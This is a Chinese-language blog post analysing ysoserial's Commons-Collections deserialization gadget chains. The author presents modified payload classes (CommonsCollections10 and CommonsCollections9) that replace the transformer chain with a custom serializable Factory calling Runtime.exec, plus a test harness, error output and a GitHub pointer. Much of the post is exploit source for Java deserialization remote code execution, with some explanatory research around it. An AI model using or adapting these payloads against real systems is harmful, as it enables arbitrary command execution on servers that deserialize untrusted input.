近期重新对yso里面的CC链进行重新研究分析,得出一些新的心得以及一些链的优化和衍生用法。 在对yso攻击链的分析当中,最有用的资料莫过于在每个payload的最上面的调用链方式。如cc1: cc1当中,比较关键点的是触发LazyMap.get()方法。
LazyMap意思就是这个Map中的键/值对一开始并不存在,当被调用到时才创建。我们这样来理解:我们需要一个Map,但是由于创建成员的方法很“重”(比如数据库访问),或者我们只有在调用get()时才知道如何创建,或者Map中出现的可能性很多很多,我们无法在get()之前添加所有可能出现的键/值对,我们觉得没有必要去初始化一个Map而又希望它可以在必要时自动处理数据。transformerChain实际上有点像python的生成器(generator),帮忙在get(key)的时候生成代码value值。 查看LazyMap构造的代码。 使用的是LazyMap的静态方法,进入查看decorate方法。 发现decorate方法重载了两个方法。一个是传入Factiory对象,一个是传入Transformer对象。
CC1默认的是使用第二种方式,传入的是Transformer对象。这样就是原来链当中一长串链式表达式的内容。 同时,该方法最后还要调用反射区去修改Transformer数组。
看到decorate方法的时候,我的想法是能不能走Map decorate(Map map, Factory factory)这一块。按LazyMap的资料,不管是Factory factory,还是Transformer factory,都是代表的是生成器的算法。所以这个链的本质问题又归结为我们要在写一个恶意的生成器算法,当LazyMap.get一个不存在的key时,会调用这个恶意生成器,造成我们想要的结果。按照这个思路,我在原本的CC1类中,定义了一个集成于Factory的匿名类。 如果反序列化成功,终端会输出一段英文。运行的时候发现报错,内容如下: 说明Factory类是不能序列化的,匿名类需要实现Serializable接口,但Factory又是抽象类,所以需要一个新写一个类继承Factory,然后又实现Serializable接口。我就在cc1类中新建了一个内部类。 最终CC1代码改写成: 这样子,exp直接写在create里面即可。运行,成功执行命令。
如果没有弹框,那就降低一下jdk版本。我在JDK1.8_60下是成功的,1.8_333下是失败的。
通过上述可以把原本难的链式Transformer,变成简单的正常代码执行。 上诉关键点使用功能的LazyMap.get(),查看其他CC链,发现CC5也用到了LazyMap.get(): 所以CC5也可以这么替换成一个简单的攻击链。
直接给出代码: 这个链无论是低版本jdk还是高版本jdk都可以触发,不受jdk版本影响。 github
我在这个fork的代码项目当中加入了一些我自己理解而写的注释,可能理解有误。请自行辩解。YSO CC链的研究与衍生
0x00
0x01
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); public static Map decorate(Map map, Factory factory) {
return new LazyMap(map, factory);
}
/**
* Factory method to create a lazily instantiated map.
*
* @param map the map to decorate, must not be null
* @param factory the factory to use, must not be null
* @throws IllegalArgumentException if map or factory is null
*/
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(1)});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, execArgs),
new ConstantTransformer(1)};public InvocationHandler getObject(String command) throws Exception {
final String[] execArgs = new String[]{command};
final Map innerMap = new HashMap();
Factory newFactory1 = new Factory() {
@Override
public Object create() {
System.out.println("create objectFactoryProxy");
return null;
}
};
final Map lazyMap = LazyMap.decorate(innerMap, newFactory1);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
return handler;
}generating payload object(s) for command: '/Applications/iTerm.app/Contents/MacOS/iTerm2'
serializing payload
Exception in thread "main" java.io.NotSerializableException: ysoserial.payloads.CommonsCollections10$1public class NewFactory implements Factory, Serializable {
private final String[] execArgs;
public NewFactory(String[] execArgs) {
this.execArgs = execArgs;
}
@Override
public Object create() {
//exp
System.out.println(execArgs);
// System.out.println("123123");
try {
Runtime.getRuntime().exec(execArgs);
} catch (IOException e) {
throw new RuntimeException(e);
}
return null;
}
}package ysoserial.payloads;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.map.LazyMap;
import org.junit.jupiter.api.Test;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:3.1"})
public class CommonsCollections10 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
// 成功
@Override
public InvocationHandler getObject(String command) throws Exception {
final String[] execArgs = new String[]{command};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, new NewFactory(execArgs));
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections10.class, args);
}
public class NewFactory implements Factory, Serializable {
private final String[] execArgs;
public NewFactory(String[] execArgs) {
this.execArgs = execArgs;
}
@Override
public Object create() {
//exp
System.out.println(execArgs);
// System.out.println("123123");
try {
Runtime.getRuntime().exec(execArgs);
} catch (IOException e) {
throw new RuntimeException(e);
}
return null;
}
}
}举一反三
/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
/
/
package ysoserial.payloads;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.junit.jupiter.api.Test;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import javax.management.BadAttributeValueExpException;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:3.1"})
public class CommonsCollections9 extends PayloadRunner implements ObjectPayload<Serializable> {
// 序列化就报错,未成功
@Override
public BadAttributeValueExpException getObject(String command) throws Exception {
final String[] execArgs = new String[]{command};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, new NewFactory(execArgs));
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
return val;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections9.class, args);
}
@Test
public void test() throws Exception {
final Map innerMap = new HashMap();
Factory factory = new Factory() {
@Override
public Object create() {
System.out.println("反序列化成功");
return "123";
}
};
final Map lazyMap = LazyMap.decorate(innerMap, factory);
System.out.println(lazyMap.get("123"));
}
public class NewFactory implements Factory, Serializable {
private final String[] execArgs;
public NewFactory(String[] execArgs) {
this.execArgs = execArgs;
}
@Override
public Object create() {
System.out.println(execArgs);
try {
Runtime.getRuntime().exec(execArgs);
} catch (IOException e) {
throw new RuntimeException(e);
}
return null;
}
}
}其他